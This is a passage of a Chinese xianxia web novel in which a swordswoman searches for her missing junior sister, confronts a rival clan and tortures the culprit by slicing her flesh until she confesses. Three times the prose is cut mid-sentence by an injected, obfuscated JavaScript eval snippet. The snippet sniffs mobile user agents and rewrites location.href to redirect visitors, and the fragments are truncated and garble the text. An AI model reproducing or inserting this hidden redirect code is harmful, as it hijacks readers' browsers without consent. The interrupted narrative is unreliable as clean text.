无数棠花纷纷落下,终于,这一弘泉水在空中一顿,分散破碎,化作一场温柔的细雨,淅淅沥沥,洒向地面,与花瓣一道,纷纷扬扬落了兰翘满身。 兰翘惊讶地看着这一切,脸上露出兴奋的神情,一把抱住灵秋的腿,激动道:“师姐我要学这个!” 灵秋冲她手中的棠枝一扬下巴,道:“打好基础才能继续进阶。你的修为不够,别说化形,哪怕现在就将这天下最好的宝剑捧到你跟前,也是白白浪费。” “所以,剑道的深浅其实与剑没有关系,与人的修为有关!” “没错。天下大道,同源共生。很多人觉得,剑修嘛,有把好剑是最重要的。可事实上,阿翘你也瞧见了,当日我不过略一出手便将宋氏与闻人氏手中的两把宝剑接连击碎。究其根本,是因为执剑的这两个人手中有剑,心中却无剑,加之修为又十分低微,如此雪上加霜,即便手持千古一剑也不过是金玉其外的装饰罢了。” 兰翘看着手中的棠枝,十分郑重地点点头:“所以师姐,手持何物并不重要,剑是修士修为的体现,要从心里开始练……” 想到这儿,她猛地看向一边的游观青,激动道:“符也可以化剑!对吗?” 游观青还跪在地上,整个人猛地一震。 她跌跌撞撞地站起来,朝着灵秋鞠躬一拜,颤声道:“多谢凌姑娘!” “我不过是在传授师妹剑术罢了,你又为何谢我?怎么,想偷学啊?还不快滚。” 言罢,灵秋拿过棠枝,做了一套动作,对兰翘道:“记住了,今日就练前三个动作,开始吧。” 兰翘练了一会儿,游观青还怯生生地站在原地,只是为了“不偷学”,刻意把身子转到了一边。 灵秋懒得管她,只顾纠正师妹的动作。 兰翘举着棠枝,作金鸡独立状,一边问道:“师姐,我听七师兄说,修士都有自己的本命剑,师姐的本命剑是什么?” “没有。” 灵秋狠狠敲了一下她的脑袋,教训道:“刚才说的全都白听了是不是?” “可是师姐,你能化无形剑,应该很厉害才对啊,为什么会输给那个银霜楼的云靖啊?” 不知道为什么,师兄师姐似乎都很讨厌那个人,兰翘觉得,他一定不是什么好东西。 灵秋想到当日,简直像吃了只苍蝇一样憋屈。 该死的云靖,要不是为了跟他撇清关系,再无交集,她非得把他揍成猪头不可。 居然敢学她的剑招?学了就罢了,竟然还敢擅自改动?简直无法无天。 灵秋道:“不许问这个。” 兰翘却自顾自地找出理由:“一定是因为他偷学了师姐你的剑招!” 她仿照记忆,在空中比划出云靖的动作,愤愤不平地说:“师姐的招式连我都还没学过呢!” 说实话,当日败在千年蛟手下,灵秋深以为耻,此后便逐渐抛弃了那套剑招,近一年来是彻底再没用过。 她的天赋极高,自学成才,可用的招式实在太多太多,以至于那天看到云靖出剑,反应了片刻才辨出不对。 灵秋捏捏兰翘气鼓鼓的脸,安慰道:“你想学,我教你就是。” “真的!?” 兰翘一激动,手上的棠枝就在空中划出一道优美的弧线,径直飞了出去。 “嗷!” 远处传来一声惨叫,几人忙上前察看,却是一个与兰翘一般年纪的小男孩蹲在地上。 他捂着脑袋,露出痛苦的表情,脚边正安安稳稳地躺着那截海棠枝。 “对不起!” 兰翘忙冲他道歉,在口袋里翻翻找找,递出一枚丹药。 “我不是故意的!” 小男孩闻言抬头,很清秀的一张脸上赫然挂着两道泪痕。 他看着兰翘,正想接过她手中的丹药,猝不及防对上灵秋的目光,受惊般当场跪倒在地上。 “我、我我没事!” 他挣开兰翘搀扶的手,后退数步,如同受到追杀般,跌跌撞撞地逃开了,跑得比兔子还快。 “真奇怪。”兰翘盯着那道背影小声嘟囔,脚步一动,踩上了什么东西。 她低头一看,竟然是一只打满补丁的荷包。那荷包极为朴素,其上的图案却十分精致,能看出制作之人的郑重与用心,想必颇有来头。 兰翘朝着男孩大喊:“喂,你的东西掉了!” 小男孩充耳不闻,跑得像是逃难,下一刻,终于彻底消失在环廊拐角。 兰翘拿着荷包,看向灵秋:“师姐,我去把荷包还给他,去去就来!” 言罢,立即拔腿飞奔出去,跑出几步还不忘转过身,把手放到嘴边,冲灵秋高兴地大喊:“等我回来,你一定要教我那套剑招!” 灵秋捡起地上的棠枝,随手比划几下,蹙眉道:“是这样的嘛……我自己都记不清了。” 她转头看一眼旁边的游观青,顺手抛给她一截棠枝,扬首道:“喏,比划几下。” 游观青有些紧张地看着她,灵秋已经不由分说地朝她扑来。 两人在海棠树下交手,风声沙沙,灵秋纵身一跃,横抓住棠枝,翩然落地,对上浩浩荡荡地一群人。 游观青立即收起棠枝,跪地行礼道:“拜见家主。” 苏氏家主的眼神从她身上滑过,移向灵秋。 他身侧,左边站着闻人氏,右边站着云正和段若霜,俱是世家前辈。而这一群前辈前面站着当日的白衣仙尊,后面则依次跟着各家小辈以及一个宋微澜。 当日闻人双双试图伤人,最后也只不过被罚了几天禁闭。 听别人说,作为闻人氏这一代唯一的小辈,闻人双双天之骄女,众星捧月,偏偏少了几分悟性,仙缘寡淡,于剑道一事上颇不得要领。 若是寻常人,背靠闻人氏这棵大树,安心做个散修也罢了,可闻人双双偏是个倔性子,越平庸越要强,折腾若干年,靠着闻人氏四处搜刮来的灵丹法宝,终于勉勉强强地扣响了阳华境的门。 此人可谓是个货真价实的绣花枕头。 灵秋见她的第一面就知道。 闻人双双一动不动地盯着她,灵秋移开目光,没有注意。 眼前都是当日相关的人,不用想也知道是为什么聚在一起。 灵秋对他们的事没有丝毫兴趣,连招呼也不打,转身就走。不料身后忽然传来一声呼唤。 “凌姑娘请留步!” 俊秀少年快步追上她,不忘顺手扶起地上的游观青。 “凌姑娘请留步!” 他跑到她跟前,灵秋打量他一眼,问道:“有事吗?” 少年被她看着,脸上一热,有些羞赧地低下头,见礼道:“在下梁溪苏韫珩,见过凌姑娘。” 原来的苏氏的小公子。 灵秋静静等着他开口。 苏韫珩道:“方才无意路经此处,听见姑娘一番论道,在下心中极为钦佩,望与姑娘结交。” “无意经过?”灵秋道:“你的意思是你和这么大一群人经过这里,听到我在和自家师妹说话,然后‘无意’站定在原地,偷听到现在?” 苏韫珩慌忙地张了张嘴,僵住了。 身后忽然传来一阵好心情的轻笑,灵秋转过去,正对上云靖的脸。 她注意到他侧脸上有一道小小的伤口,已经开始结痂——那是几天前在擂台上,她亲手划破的。 灵秋只看了一眼,很快便移开了目光。 “凌姑娘这话可就有失偏颇了。” 云靖缓步上前,抚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298877|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏韫珩的肩,用力捏了一下。 “此处无门无窗,何来偷听一说?何况游姑娘不是一直在旁边吗?她可不是逍遥派的人,更不是你的师妹。” 游观青慌忙地摆摆手:“不是……我……” “游姑娘不必担心。”云靖朝她温言一笑,盯着灵秋的眼睛,脸上笑意愈浓,“我相信凌姑娘心胸宽广,是决不会与我们计较这些小事的。” 灵秋看着他那张欠揍的漂亮脸蛋,简直气不打一处来。 这时候,一边的苏韫珩又开口道:“凌姑娘,此事的确是我们考虑不周。姑娘不必担心,方才仙尊早已有言在先,今日所闻绝不会传扬出去,为人所知。” 不会为人所知?难道你们不是人吗? 灵秋半眯起眼睛。 她在想,是否这些仙门世家的子弟生来如此,最擅长模糊重点,将自己摘得干干净净。个个都是和稀泥、装无辜的一把好手。 她很想出言反驳,却怕又和云靖对上,再生出若干牵扯,干脆什么也不想说了。 没关系,不理他,不理他们。她可不想再因为靠近孽缘,引发血光之灾。 见她未接话,脸上也没什么表情,苏韫珩悬着的一颗心稍稍放下几分,继续自己最初的目的。 他对灵秋道:“凌姑娘,实不相瞒,在下早已对你倾慕已久……” 肩膀突然传来一阵闷痛,苏韫珩惊讶地转过头,正对上云靖。 他正亲昵地将手搭在他的肩膀上,笑得一脸真诚无害。 苏韫珩盯着他的手,心想或许是自己感觉错了。 云靖待人一向客气疏离,苏韫珩从来不知道自己与他的关系何时变得如此亲密。 念在他刚刚替自己解围的份上,苏韫珩不好拂了他的面子,轻咳一声,继续对灵秋道:“今日一见姑娘,果真钟灵毓秀,姿意飒爽,容光绝世,恍恍乎若姑射神人,若能与姑娘结交……呃……” 空气中传来一声突兀的脆响。 这一下,无比清晰。 苏韫珩震惊地回过头,感觉自己半个手臂都没了知觉。 云靖居然把他的肩膀给捏脱臼了! 他不可置信地看着他,这头,灵秋实在受够了他的长篇大论,早已无聊得眼神乱飘。 对面湖边缓缓经过一个人,灵秋眼神一亮,喊道:“师兄!” “师妹?” 霍羽抱着一堆卷轴,惊讶地转过头,正看见灵秋冲他招手,而她身侧竟赫然站着银霜楼的那位少主! 联想到早晨银霜楼楼主夫妇突然不请自来,师父又突然像发了疯似的要他四处去借十八年前史籍书册,嘴里嘀咕着“天作之合”、“神仙眷侣”之类的词,霍羽心头一惊,忙招呼灵秋:“你在那儿做什么?” 话音刚落,他脚下一滑,竟然不受控制地往湖里栽去。 霍羽手中书卷散落,灵秋飞身上前,横跨湖面,眼疾手快地捞过他的手臂,将人带回了岸边。 “我在那儿等阿翘来着,她捡到一只荷包,去找失主了。” 灵秋和霍羽一起捡着地上散落的东西,两人各自抱着一堆书卷,有说有笑地走远了。 湖对岸,云靖被苏韫珩单手揪着领子,愤怒地质问:“我说你究竟在做、什、么!” 他盯着那两道成双成对的背影,铁青着脸,默不作声。片刻,终于道:“她不喜欢你,以后不许再去找她。” 苏韫珩整个愣住。 他想到这几日阳华境内流传的谣言,火气噌地一下窜上头顶,揪着云靖大喊:“你他妈恃宠而骄是吧!?就许她喜欢你,不许她看别人一眼?” “她也不喜欢我。” 云靖拂开苏韫珩的手,一瞬间,苏韫珩几乎在他眼中看到了某种堪称绝望的神色。 他又想起这些日子听到的另一个版本的传言——是从银霜楼内传出来的。 他抚着脱臼的肩膀,站在原地,头一回感到无比的困惑。 是夜,苏韫珩躺在床上,翻来覆去地睡不着。 同时间,阳华境内有两个人与他经历着一模一样的折磨。 东北角,云靖对着乌云漫天的夜空,来回反刍着白日发生的事,在心里一遍又一遍描摹最后的那两道背影。 为什么每一次见到她,他都忍不住刻意拿话去刺她,为什么他不能像苏韫珩一样,哪怕是装一下呢? 右边侧脸上的伤口泛起刺痛,像蚂蚁不断噬咬着血肉。云靖想着这些事,喉咙又酸又涩,忍不住微微攥紧了拳头。 与他一样,西南角,灵秋躺在床上,同样不断回溯着白天,只不过她心中想的却是霍羽险些摔入湖中的画面。 当时他明明站得离湖面很远。 虽然师兄自己也说是意外,但她翻来覆去,总觉得心里不踏实。 夜色已深,灵秋从床上爬起来,悄无声息地潜出院子,回到湖边。 青草上还残留着傍晚的露水,无数晶莹透亮的小水滴中间,她仔细地找了又找,终于察觉到一丝法术的残留。 一道极微弱的剑气附在丛生的杂草之间,闪烁着浅浅的红光。灵秋眉心一蹙,顺着这道剑气地方向看过去。 白日里,站在那处的人是谁? 她闭上眼睛,脑海中赫然出现一道明黄色的身影。 远处,逍遥派的院子里突然灯火通明。 纷乱的杂音间,隐约听得一道急迫的声音:“小师妹不见了!” 16.花深深莫及之人心(2) “你最后一次见到小师妹是什么时候?” 院子里,江芙正在挨个盘问同门。灵秋急匆匆地从外面赶回,新鲜的海棠花瓣被她的衣袍卷带着,翩然坠地,踩进泥里。 “小师妹怎么会突然不见了?这境中之路她早就熟悉了啊。” “不是不见,是根本没有回来。” 听着诸位同门你一语我一言的争论,不知为何,心里总是敲敲打打,不得安宁。 灵秋对江芙道:“师姐,你立刻通知师父,将此事上报太霄辰宫,请他们派人相助。我现在立刻就去找白日里见过阿翘的人。” 江芙点点头,灵秋又对霍羽道:“师兄,请你安心待在师父身侧,莫要轻举妄动。” 她从袖中甩出一道浅红的剑气:“这是方才我在白日里师兄险些坠湖的地方发现的,不知闻人氏与我逍遥派有何积怨,竟敢在背后偷袭,待找到师妹,我定要与他们好好分说一番。” 说罢,不待众人反应,灵秋便转身往外去,消失在茫茫夜色间。 冰蓝色的循踪阵在海棠树下缓慢展开,光影流转、灵气汇集,那道隐秘而微弱的气息无限放大、清晰。 灵秋蓦地一愣,起手抹除了周遭所有残留的气息,纵身飞向循踪阵所指之处。 不过普通门派里,一个极普通的弟子。见到白日那个被棠枝砸中的小男孩时,那枚打满补丁的荷包正缀在他腰间摇摇晃晃。 掌门一见灵秋找上门,立即不由分说地冲着那男孩一通怒斥。 滔天怒火令灵秋皱眉,更让她厌烦的却是男孩躲在角落缩成一团、唯唯诺诺的反应。她努力按下心中焦躁,对掌门道:“还请前辈许我与这位小友单独叙话。” 小男孩闻言一颤,掌门却连忙答应了——来者不善,他巴不得快快送走这尊煞神。 灵秋与男孩单独进了一间屋子。她甩出法咒封死四周,居高临下地看着他,开口冷叱道:“魔族之人,见了本尊,还不参拜?” 小男孩惊恐地看着她,猝然跪倒下去,膝盖在地板上磕出齐齐清脆的巨响,结巴道:“拜……拜、拜见太女殿下。” 灵秋见他那副怂样,简直气不打一处来,冷嘲道:“魔族还真是什么货色都敢送进仙门来找死。我不想跟你废话,只问你一句,我师……逍遥派的兰翘到底在哪里?” 小男孩回答道:“今、今日兰翘姑娘将荷包送还给我,我们……我们聊了几句,之后她就离开了……” 他拼命想了想,突然抬起头:“兰翘姑娘临走时说她的师姐催她回去练剑!” “催她?” “没错。”小男孩道:“我亲眼瞧见兰翘姑娘接到一封信,然后就急匆匆地走了。” 灵秋狐疑地盯着他。小男孩接着取出一只短刀,划破自己的额心,举手虔诚道:“小人以全家老小十二口的性命启下血誓,方才所言句句为真,绝无丝毫欺瞒。” 额心血落在地上,化作一方极其复杂的符阵。灵秋看了他一眼,径自拂袖而去。 所谓血誓,一旦起阵便会反噬一生。她这辈子绝不可能为任何人、任何事沾染分毫。方才那人毫不犹豫,灵秋心想,或许魔族选他卧底仙门也并非全无道理。 她走出屋子,整个阳华境已然一派灯火通明。 灵秋心中不妙的预感一瞬大盛。 方才在湖边,她试过用循踪阵找寻兰翘的踪迹,不料这镜中四处都有她的气息,方位难以辨别,所以她才会让师姐立刻去请太霄辰宫帮忙。 阳华境内,东道主自然更为熟悉。若是连太霄辰宫也找不到阿翘,恐怕…… 灵秋行色匆匆地赶回逍遥派,却在众脸上看到了焦灼而失望的神色。 江芙和霍羽一见她,立刻迎上前,同声问道:“可有线索?” 灵秋摇摇头。 江芙重重叹了口气,急道:“小师妹从来不会乱跑,也从来没有的罪过任何人,怎么会突然不见了!” 话音一落,霍羽和灵秋同时抬头,就连江芙自己也露出讶然的神情。 灵秋一把拿过江芙手中铁剑,道:“师姐,我出去一趟。” 江芙还未反应过来,却听得几人背后,逍遥散人突然怒喝一声道:“站住!” 灵秋头也不回,只道:“师父放心,我绝不会冲动行事。” 逍遥散人大步追出去,人却早就化作一道凌厉的光,消失在天际。 灵秋有整整四年没杀过人。 此刻,铁剑在手中发出兴奋的嗡鸣,她竭力抑制着体内汹涌叫嚣的杀意,击飞一众闻人氏弟子。 “凌秋!你这是要做什么!?” 宋微澜最先从闻人氏的院子里冲出来,对着她一通咆哮。 他身后匆匆跟着闻人夫妇和若干衣着统一的子弟门人,一众人中,最中心处站着坦坦荡荡、一脸有恃无恐的闻人氏大小姐。 “好大的胆子,竟敢深夜闯入我闻人氏大肆伤人!” 闻人家主一招手,数名弟子蜂拥上前,灵秋不过略微伸剑一挡,将众人击得连连后退。 她被数柄长剑包围,凛凛寒光间,紧紧盯着闻人家主,质问道:“我师妹在哪儿?” 闻人家主一愣。 早在半炷香前,他便被外边的喧闹惊动,得知了逍遥派门人失踪的事。彼时宋微澜正陪着闻人双双在院中切磋练剑。 闻人双双与逍遥派的凌秋早有旧怨,日前又发生了那样的事,闻人家主忍不住在院中驻足,待闻人双双练完剑,走到她跟前出言询问。 他用的言辞极隐晦,毕竟害人失踪比“一时不慎难以控制宝剑”导致的“险些误伤”更难解释,不想他一问,闻人双双却痛痛快快地承认了。 她满不在乎道:“即便我真将她当着灵秋的面杀了又如何?有父亲母亲和宋表哥在,有北方十七族在,区区一个逍遥派又能耐我何?” 宋微澜也帮腔道:“不过是个修为低微的普通弟子罢,即便失踪,也没有证据牵扯到表妹身上,舅舅不必介怀。” 此话不错。 闻人家主顿时放下心来,他没想到,不过短短小半炷香的功夫,凌秋便提剑打上了门。 如此招摇,如此不把闻人氏放在眼里。 宋微澜当场怒道:“你师妹在哪儿我们怎么会知道?凌秋,我奉劝你别在这儿发疯,否则,我定叫你吃不了兜着走!” 话音刚落,只听轰的一声巨响,那些围着灵秋的弟子纷纷倒地,剑断峰折。一片清脆的撞击声中,一只手赫然捏上宋微澜的脖颈。 他连剑也未来得及出,便被人像鸡仔一样拎至半空,飞手扔出,重重砸到墙面上,胸口闷痛,难以呼吸,抽着气连喷数口鲜血,晕死过去。 灵秋转头看向闻人双双,眼中冷意泠泠,:“我再问一遍,我师妹到底在哪儿?” 数柄银剑指向灵秋,将她包围成一个半圆。闻人家主和夫人站在一侧,面色铁青,场面一瞬僵持。 闻人家主道:“凌秋!你究竟想做什么!?我闻人氏与今夜之事毫无关系!” “是我做的又如何?” 几乎同一时刻,闻人双双出言挑衅。 在场众人都愣了一下,闻人氏夫妇更是不可置信地看向她。 闻人双双上前几步,走到离灵秋一剑之隔的地方,露出一个挑衅的表情:“这么多年,凌秋,只有今天你才终于肯用正眼看我,对吗?” “你什么意思?” 灵秋早先的确隐约察觉到一丝闻人双双的古怪,那时她以为她是为当日碎剑之事耿耿于怀,便没有放在心上。 如今听她说出“这么多年”四个字,灵秋骤然意识到恐怕这中间还有她从未知晓的曲折。 果然,闻人双双捞开衣袖,将一截手臂举到她面前。只见那细嫩的皮肤上赫然附着着一条丑陋的纹路,血红的瘢痕曲折隆起,占据了大半白皙似玉的皮肤,可谓触目惊心。 闻人双双咬牙切齿道:“看到了吗?这一切都是拜你所赐!” 灵秋道:“跟我有什么关系?阳华仙会之前,我根本就不认识你。立刻将我师妹的下落告诉我,否则,我绝不会放过你,更不会放过整个闻人氏!” 即便再有什么曲折她也顾不得了,当务之急是赶紧找到阿翘。 谁知她说完这句话,闻人双双却猝然发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304506|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声狞笑。 “你当然不认识我!”她看着灵秋,眼中蓦地浸出泪水,恨道:“逍遥派凌姑娘,古今天资第一人……剑道、天赋,你什么都有!又怎么会将我放在眼里!” “所以当年在水境,我明明已经向你求救,你却充耳不闻,只带走了那个银霜楼的云靖!” 闻人双双眼中狠色凌厉,面上却仍笑着:“我只恨当日出剑太慢,没能叫他当场毙命!只是你知道吗?云靖是该死,可最该死的人其实是你啊!” 她指着灵秋,泪落犹如滚珠,仿佛积压在心底多年的情绪终于找到出口,一泄而出。 “可惜啊,即便过了这么多年,我还是比不上你。”闻人双双道:“我打不过你,杀不了你。不过没关系!” 她伸手抹掉脸上的泪珠,接着说:“凌秋,你大概想不到吧,你这辈子也会有永远比不上我的东西。” “逍遥派的人都是孤儿,你们无父无母,没有家族,更没有势力,只有一个虚弱得连剑都提不起的老头。凌秋,我就是要让你看看,像你们这样的人,生来命如草芥,就算死了也不会有任何人在意!” “而我,我是闻人氏唯一的大小姐。即便我今日当着你的面承认是我杀了你的师妹又如何?” 闻人双双抬起手,笑得猖狂:“北方十七族皆在我身后,你这辈子也别想为她报仇!” “就因为我当日没有将你带出水境?”灵秋道:“就因为这么一件微不足道的事,你就杀了我师妹?” 她说出这句话,每个字都吐得艰难,鼻尖酸得要命,眼眶却干涩得生疼。 杀人…… 师父总说她身上杀气太重,四年来每每拘着她谈经论道,教她慈悲宽容,得饶人处且饶人。 她已经太久没有杀过人了。久到有人胆敢当着她的面大笑猖狂,阴谋诡计接二连三地伤害她所在意的人。 “对你来说微不足道,于我而言却是切肤之痛!” 铁剑轻轻颤动着,闻人双双看着灵秋的表情,终于露出大获全胜的笑容,步步逼近:“你想杀我吗?可惜,在场众人全都站在我这边,你没办法,永远,永远也不可能成功。” 她看向一旁的闻人氏夫妇,心中底气丛生,未料话音刚落,灵秋一把扔开铁剑,倾身上前,右手死死箍住了她的脖颈。 周身灵力轰然炸开,无数闻人氏弟子被掀飞出去。闻人氏夫妇见状怒喝一声,飞身朝灵秋攻来。 直到此刻,闻人双双仍然有恃无恐,她盯着灵秋的眼睛,挑衅道:“你以为凭你一个人,打得过我闻人氏两位家主吗?” 四周符篆翻涌,整间屋子簌簌摇晃,灵秋掐着闻人双双的脖子,闪身避开闻人氏夫妇的攻击,指尖赫然凝出一道冷淡的寒光。 刷! 伴随一声刺耳的嘶鸣,周遭空气变得冷寂而扭曲,砰的一声,只见两道身影被强力接连击中,飞出数米,重重撞在地上,接连吐出数口鲜血,闻人双双瞳孔一缩,终于露出惊恐的神情。 “区区符修,也敢在我面前造次!” 灵秋的声音如同冰凉的毒蛇,在一地瘫倒的修士间冷不丁响起,她睥睨着闻人氏众人,如同俯视一地死物。 灵秋用力捏着闻人双双的脖子,怒喝道:“我师妹究竟在哪里!” 闻人双双双目泛红,挣扎吼道:“她已经死了!死了!” 脖间力道一分强过一分,灵秋就像根本没有听到她的话一样,重复问道:“我师妹在哪儿?” 她捞起闻人双双的衣袖,驱使剑气飞快割下一片薄如蝉翼的肉,手上的人立刻发出一声刺耳的尖叫。 灵秋道:“从现在起,我每问一次,就割你一块肉,直到你的回答让我满意为止。我会最后割你的嘴,放心,这个过程不会很快,你可以慢慢地享受。” 言罢,她继续问:“我师妹在哪儿?” 闻人双双疼得说不出话,手臂便又被割下一片肉来。 远处,闻人氏夫妇相互搀扶着站起身,慌忙朝外跑去。 血腥气在空中四散漫开,终于,在灵秋问到第三次的时候,闻人双双哭喊道:“万丈崖!在万丈崖!” 17.柳阴阴难觅之痴意(1) “俗话说得好,阳华境中有三绝。一者云蒸霞蔚、山色湖光,二者护境结界、浓雾大江,这第三者嘛,就是诸位眼前这万丈峭壁、变幻凶阵。” 夜风簌簌打在衣袍上,白袍仙尊在前摸着胡子侃侃而谈,队伍末尾,云靖和苏韫珩相看两生厌。 两人失眠了大半夜,想起阳华境内每晚都会举办的夜游活动,前后脚报了名,却不想冤家路窄,到了万丈崖边才发觉对方也在。 两人一个朝左,一个朝右,中间站着个游观青,正掏出本子,仔仔细细地记录仙尊的话。 自从来到阳华境,每次夜游她从未缺席过,没想到今晚先是遇到了云靖,紧跟着又遇见了苏韫珩。 这两个人就像约好了一样,同时到达,面面相觑,谁都不想先开口说话。 僵持中,苏韫珩拉过她一起,朝云靖露出一个挑衅的表情,游观青就这么充当了二人之间无辜的“楚河汉界”。 她看一眼两个互不搭理的人,懒得去管,举手提问仙尊:“万丈崖底的凶阵与别处的有什么区别,为何称得上一绝?” 仙尊正等着人问呢,闻言负手而立,露出一副深沉的神情,回答道:“别的区别倒是没有,无非是厉害了些,凶猛了些。唯独有一点——这万丈崖底的凶阵被称作万杀阵,与旁的杀阵不同,此处之阵乃是历经万年自然形成,随天象变幻莫测,诡异十足,据说有千万种不同的致死之法。” 他示意众人走近几步,万丈崖边,一股沁人的冷意顿时扑面而来。游观青忍不住打了个寒战,杀意森然,竟叫她感到莫名的恐惧。 仙尊观察着众人脸上或惊讶或恐惧的神情,满意得直点头,笑着叮嘱道:“诸位在这境中行走,千万要注意,若无修为高深的前辈相伴,万万不可靠近这万丈崖。” 说罢,他像驱赶羊羔一般将这群年轻的子弟们驱赶回原处。 这些少觉的孩子平日里总像群喜鹊似的叽喳不停,夜游多日,还是头一回表现得如此乖顺。 今夜来的人似乎比平时更多啊。 仙尊摸着胡须,忍不住有几分得意。 果然还得给孩子们展示些真东西。 他在心里盘算着下个夜游的地点,忽然瞧见远处急速奔来两人,定睛一看,竟然是大名鼎鼎的逍遥派凌秋和闻人氏的大小姐闻人双双。 仙尊心道:“难道我的夜游已经出名到这种地步了吗?” 要知道带夜游历来是个苦差事,他一开始还百般的不愿呢。没想到短短十几日,效果这么好! 不愧是他! 仙尊激动地迎接上去,招呼道:“凌姑娘,闻人小姐你们也来啦……” 他的笑容很快僵在了脸上,因为凌秋掐着闻人双双的脖子飞快地略过他,略过所有人,站到了万丈崖边。 她的衣裙被鲜红的血浸透了,仔细一看,血迹的来源竟是闻人双双的手臂! 二人身后,浩浩荡荡地追着一群人。 十数位太霄辰宫的仙尊、包括闻人氏和苏氏在内的北方十七族,以及银霜楼和逍遥派众人全都来了。 整个阳华境,客人主人齐齐到场,场面不可谓不热闹,不可谓不浩大。 灵秋挟持闻人双双站在悬崖上,冷漠地面对众人。 狂风卷起两人的衣袍头发,发出霹雳般令人胆寒的响动。闻人双双殷红的血滴飞溅在灵秋的脸上,衬得她远远看去如同地狱食人的鬼魅。 闻人家主捂着胸口怒吼道:“凌秋!你想做什么?赶紧放了我的女儿!” “凌秋!你若胆敢伤害我表妹,我宋氏一族定与你同归于尽,不死不休!” 宋微澜刚刚从昏迷中苏醒,连声音也有些发虚。 灵秋对二人的话置若罔闻,自顾自将闻人双双按到悬崖边,大声质问道:“我师妹是不是在下面!” “什么!?”还处于迷茫中仙尊一瞬清醒,发出不可置信的惊呼,“有人在下面!?” 闻人双双眼眸颤动着泪光,一语不发。 她能感受到,所有人的目光都集中打在了自己身上,如芒在背。 即便她再嚣张也知道,到了这一步,已经不是一个闻人氏或十七个北方世家能肆意做主的了。有些事走得出世家,走不出天下。当着这么多人,她必须夹起尾巴。即便不能全盘否认,也绝不能承认丝毫。 决不能! 不料她刚刚打定主意,下一刻,手臂传来刻骨的刺痛,竟是又被生生割下一片肉来。 闻人双双发出一声惨叫,立刻有人叫道:“凌秋!你竟敢当众动用私刑!” 宋微澜道:“我表妹和你师妹失踪之事根本毫无关系,你不分青红皂白将她掳到此处严刑逼供,到底安的什么心!” 他看向前方的仙尊,怒道:“都到这个地步了,诸位仙尊还眼睁睁地看着,不出手阻止吗?!” “毫无关系?亏你说得出!” 逍遥派这边,江芙冲出人群,劈手甩出一道浅红色的剑气。 “你们自己看看,这是闻人双双的剑气!”她眼眶含泪,对宋微澜道:“我师妹绝不会无故伤人,更不可能出错!” 说话间,那缕剑气便向主人飞去,亲昵地依附在了闻人双双身侧。 众人一下没了声音。 最前面的白衣仙尊铁青着脸,终于开口:“凌姑娘,凡事好商量,何必把事情做得如此决绝?你先过来,这件事太霄辰宫一定会妥善处理。” 灵秋对她的话充耳不闻,只管接着问闻人双双:“是不是你将我师妹推下去的?” 忍一忍,再忍一忍,很快了。 闻人双双拼命咬着嘴唇。 呲啦—— 这一回,竟是小半截手臂都被生生划开。 鲜血迸溅,伤口触目惊心,她再也受不住,惊叫哭道:“是我!是我!是我……” 噼啪—— 灵秋一动,山石混着尘土滚滚下坠,闻人双双惊惧地抱住了她的大腿,哭道:“不要把我扔下去,不要!” 灵秋终于抬起头,仔仔细细地扫视过眼前众人。 不行,还不到时候。 砰! 她一掌将闻人双双推向人群,纵身一跃,如同一只鲜红的雨燕,径直扎进深不见底的万丈崖。 “师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心脏如受万虫噬咬,事实上也的确受万虫噬咬。 灵秋想到当日在魔宫殿前,年轻的谋士向魔尊提出为她种蛊时漫不经心的表情。 她恨不能生啖其肉! “宿妄王八蛋,我做鬼也不会放过你!” 灵秋一边吐血,一边咬牙切齿地咒骂,突然,身后刮过一阵突兀的凉风。 “可惜魔族没有做鬼的机会。” 她猛地回过头,只见淡黄色的瘴气之外,苍莽而幽深的丛林中间竟赫然矗立着一棵苍翠的杨柳。 冷风刮过,柳枝轻拂,万缕柔丝婉转舞动,在银质的月色下泛出淡绿色的柔光。 柳树下翩然立着一位锦衣华服的英俊青年。此情此景,伊人如画,灵秋的目光却径直掠过他,被卧在青年脚边的一团东西所吸引。 一瞬间,半空中的循踪阵爆发出从未有过的、炫目的蓝光。 18.柳阴阴难觅之痴意(2) 灵秋见状大惊,丝毫不顾青年神色讥诮,脚尖一点,身形飘起,如箭矢般飞掠到他跟前,伸手就要去抓伏倒在他脚边的兰翘。 青年脚步未动,右手食指轻轻一弹,一股凌厉的指风破空而出,照着灵秋眉心一点,劲力直透肌骨,瞬间将她击得连退数步。 灵秋只觉胸口一热,数口黑血狂喷而出,臂间蛊虫盘旋蠕动,竟兴奋地发出啃噬骨肉的沙沙之声,在这寂静的林间格外突兀,令人听来头皮发麻。 仿佛有无数细针自经脉逆刺而上,钻心蚀骨般的疼痛如潮水汹涌而来。灵秋半跪在地上,五指已深深嵌入地里,鲜血自指缝间滚滚涌出,顷刻将周遭黑泥染成褐红。 